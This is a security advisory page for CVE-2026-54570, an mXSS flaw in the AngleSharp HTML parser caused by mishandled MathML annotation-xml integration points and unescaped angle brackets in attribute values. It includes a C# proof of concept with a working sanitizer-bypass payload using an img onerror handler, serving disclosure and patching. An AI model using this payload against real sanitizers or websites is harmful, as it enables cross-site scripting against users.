Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-54570 — anglesharp

🟡 CVSS 6.9 — Medium ✅ No Known Exploit CWE-80 NVD
6.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

AngleSharp HTML5 Spec Compliance: mXSS via annotation-xml HTML Integration Point Bypass

Summary

The HTML specification requires that a MathML <annotation-xml> element with encoding="text/html" or encoding="application/xhtml+xml" is treated as an HTML integration point. Content inside it must be parsed as HTML, not MathML.

AngleSharp does not implement this correctly. As a result, the parser produces a DOM tree that differs from what a browser will build (different namespaces if encoding="text/html" is not treated) when given the same serialized output. Two bugs combine to make this exploitable:

  • Missing HtmlTip flag: MathAnnotationXmlElement is never assigned NodeFlags.HtmlTip based on its encoding attribute, so the Consume() dispatch always routes tokens to Foreign() instead of Home() (HTML mode).
  • Unescaped < > in attribute values: HtmlMarkupFormatter.WriteAttributeValue() does not escape < or > characters, only & and ". This allows injected markup to break out of attribute values on re-parse. _See [Escape "<" and ">" in attributes when serializing HTML #6235

](https://github.com/whatwg/html/issues/6235)_

Details

In MathAnnotationXmlElement (AngleSharp/Mathml/Dom/Internal/MathAnnotationXmlElement.cs):

```cs

// Current — HtmlTip is never set

: base(owner, TagNames.AnnotationXml, prefix, NodeFlags.Special | NodeFlags.Scoped)

```

Because HtmlTip is absent, the token dispatch in Consume() always sends tokens to Foreign() when inside annotation-xml, regardless of the encoding attribute. The compensating check in ForeignNormalTag() only covers tags in AllForeignExceptions and is entirely bypassed during fragment parsing (innerHTML setter) due to an if (!IsFragmentCase) guard.

In HtmlMarkupFormatter.WriteAttributeValue() (AngleSharp/Html/HtmlMarkupFormatter.cs):

```cs

// Escapes & " and \u00A0, but NOT < or >

case Symbols.Ampersand: stringBuilder.Append("&"); break;

case Symbols.NoBreakSpace: stringBuilder.Append(" "); break;

case Symbols.DoubleQuote: stringBuilder.Append("""); break;

default: stringBuilder.Append(value[i]); break; // < and > pass through raw

```

PoC

The following program demonstrates that AngleSharp’s parser misses the injected <img> element. A sanitizer walking this DOM would see nothing dangerous, yet the serialized output re-parses in a browser as a live <img onerror> trigger.

```cs

using System;

using System.Linq;

using AngleSharp.Html.Parser;

public class Program

{

static readonly string Payload1 =

"<math>" +

"<annotation-xml encoding=\"text/html\">" +

"<title><a encoding=\"</title><img src=x onerror=alert()>\">" +

"</annotation-xml></math>";

public static void Main()

{

var parser = new HtmlParser();

Check(parser, Payload1, "IMG",

"AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)",

"AngleSharp found <img> – SAFE");

}

static void Check(HtmlParser parser, string html, string tag,

string failMsg, string passMsg)

{

var doc = parser.ParseDocument(html);

var tags = doc.All.Select(e => e.TagName).ToHashSet();

var found = tags.Contains(tag);

Console.WriteLine(found ? passMsg : failMsg);

Console.WriteLine("Serialized output:");

Console.WriteLine(doc.DocumentElement.OuterHtml);

}

}

```

Output:

```

AngleSharp missed <img> – VULNERABLE (mXSS via attribute serialization)

Serialized output:

<html><head></head><body><math><annotation-xml encoding="text/html"><title><a encoding="</title><img src=x onerror=alert()>"></a></title></annotation-xml></math></body></html>

```

_The title tag may be swapped out for style and other RCDATA elements._

When a browser receives this string and parses annotation-xml encoding="text/html" as an HTML integration point, the </title> closes the title element and the <img> fires its onerror handler.

Impact

Implemented HTML sanitizers that depend and trust AngleSharp's ability to parse HTML correctly may be bypassable, as AngleSharp fails to acknowledge certain vectors under certain conditions.

This reduces AngleSharp's credibility as a conformant HTML parser.

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality low, integrity high, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: Low — limited, and the attacker does not choose what is affected.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: None.

Weakness class

CVE-2026-54570 is classified as CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS). The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as "<", ">", and "&" that could be interpreted as web-scripting elements when they are sent to a downstream…

Affected software

CVE-2026-54570 is recorded against 2 packages.

  • anglesharp (fixed in 1.5.0)
  • unknown

Timeline and source

Published on 17 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)
github.com (Web)

Same weakness in other software

These advisories are the same class of weakness (CWE-80: Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)) in other software:

Details

Severity Medium
CVSS Score 6.9
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:H/A:N
CWE CWE-80
Public Exploit ✅ No
Source NVD
Published 2026-07-17
Updated 2026-08-20
Modified 2026-07-17
Fix URL N/A

Affected Packages

Software From version Fixed in
anglesharp — 1.5.0
unknown — —

Vulnerability Monitoring

Track new vulnerabilities in anglesharp

CVE-2026-54570 is rated CVSS 6.9 Medium. BotEraser monitors your WordPress installation and notifies you when software you use appears in our vulnerability database.

Set Up Free Alerts →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓